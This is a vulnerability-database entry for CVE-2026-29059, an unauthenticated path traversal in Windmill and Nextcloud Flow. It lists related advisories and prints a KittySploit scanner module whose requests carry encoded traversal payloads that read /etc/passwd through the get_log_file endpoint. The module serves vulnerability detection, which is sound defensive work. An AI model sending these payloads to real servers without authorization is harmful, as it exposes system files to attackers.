Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal Detection
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| CVE-2026-29059 | 6 Mar 202607:11 | – | attackerkb | |
| CVE-2026-29059 | 6 Mar 202613:15 | – | circl | |
| WindMill 路径遍历漏洞 | 6 Mar 202600:00 | – | cnnvd | |
| CVE-2026-29059 | 6 Mar 202607:11 | – | cve | |
| CVE-2026-29059 Windmill: SUPERADMIN_SECRET (rarely used) can be accessed publicly | 6 Mar 202607:11 | – | cvelist | |
| EUVD-2026-10017 | 6 Mar 202607:11 | – | euvd | |
| Remote code execution in Nextcloud Flow via vulnerable Windmill version | 6 Mar 202610:54 | – | nextcloud | |
| CVE-2026-29059 | 6 Mar 202607:11 | – | mend | |
| Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal | 15 Oct 202602:05 | – | nuclei | |
| CVE-2026-29059 | 6 Mar 202608:16 | – | nvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Windmill < 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal Detection',
'description': 'Windmill < 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2026', 'windmill', 'nextcloud', 'lfi', 'unauth', 'vkev'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/Chocapikk/Windfall',
'https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/',
'https://nvd.nist.gov/vuln/detail/CVE-2026-29059',
],
'cve': 'CVE-2026-29059',
}
def run(self):
for path in ('/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd', '/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd', '/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd', '/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_any = ('root:x:0:0:', '<!DOCTYPE', 'Err:',)
if (any(m in body for m in body_any)):
self.set_info(
severity='critical',
reason="Windmill/Nextcloud Flow < 1.603.3 - Unauthenticated Path Traversal detected",
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.7High risk
Vulners AI Score7.7
CVSS 3.17.5
CVSS 46.9
EPSS0.02122
SSVC